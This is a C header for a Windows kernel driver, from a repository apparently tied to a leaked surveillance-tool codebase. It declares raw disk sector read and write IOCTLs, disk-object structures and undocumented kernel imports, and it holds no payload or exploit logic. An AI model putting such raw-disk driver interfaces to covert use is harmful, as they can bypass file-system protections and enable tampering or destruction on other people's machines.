hackedteam/driver-win32

View on GitHub
CORE_Driver/sector.h

Summary

Maintainability
Test Coverage
#ifndef  __SECTORIO_H__
#define  __SECTORIO_H__

typedef unsigned char BYTE;
typedef unsigned short WORD;
typedef unsigned long DWORD;

__declspec(dllimport) PDEVICE_OBJECT  IoGetLowerDeviceObject( PDEVICE_OBJECT  ); 

__declspec(dllimport) NTSTATUS ObReferenceObjectByName(
        PUNICODE_STRING, 
        DWORD, 
        PACCESS_STATE, 
        ACCESS_MASK,
        POBJECT_TYPE,
        KPROCESSOR_MODE,
        PVOID,
        PVOID *Object);

__declspec(dllimport) POBJECT_TYPE* IoDriverObjectType;

__declspec(dllimport)
NTSTATUS
ObQueryNameString(
        PVOID,
        POBJECT_NAME_INFORMATION,
        ULONG Length,
        PULONG ReturnLength
        );

#pragma pack (push, 1)

typedef struct _DISK_OBJ {
    LIST_ENTRY                    list;
    BOOLEAN                        bIsRawDiskObj;
    BOOLEAN                        bGeometryFound;
    DWORD                        dwDiskOrdinal;    // If bIsRawDiskObj = TRUE Disk Number is Raw Disk Number else it is Partition Number
    ULONG                        ulSectorSize;    // Sector Size on disk
    PDEVICE_OBJECT                pDiskDevObj;    // Pointer to Device Object
} DISK_OBJ, * PDISK_OBJ;

typedef struct _DISK_LOCATION {
    BOOLEAN                        bIsRawDiskObj;
    DWORD                        dwDiskOrdinal;
    ULONGLONG                    ullSectorNum;
} DISK_LOCATION, * PDISK_LOCATION;

typedef struct _DEVICE_EXTENSION {
    LIST_ENTRY                  list_head;
    KSPIN_LOCK                  list_lock;
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;

#pragma pack (pop)

#define SECTOR_IO_DEVICE       0x8000

#define IOCTL_SECTOR_READ        CTL_CODE(SECTOR_IO_DEVICE, 0x800, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)
#define IOCTL_SECTOR_WRITE        CTL_CODE(SECTOR_IO_DEVICE, 0x801, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)
#define IOCTL_GET_SECTOR_SIZE    CTL_CODE(SECTOR_IO_DEVICE, 0x802, METHOD_BUFFERED, FILE_READ_ACCESS | FILE_WRITE_ACCESS)

NTSTATUS
DriverEntry(
    IN PDRIVER_OBJECT DriverObject,
    IN PUNICODE_STRING RegistryPath
    );

NTSTATUS DriverDefaultIrpHandler(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp);

NTSTATUS DriverIoDeviceDispatchRoutine(
    IN PDEVICE_OBJECT DeviceObject,
    IN PIRP Irp);

NTSTATUS GetAllDiskObjects();
NTSTATUS GetGeometry(PDEVICE_OBJECT pDiskDevObj, PDISK_GEOMETRY pDiskGeo);

VOID DriverUnload(
    IN PDRIVER_OBJECT DriverObject
    );


#endif   /* ----- #ifndef __SECTORIO_H__ ----- */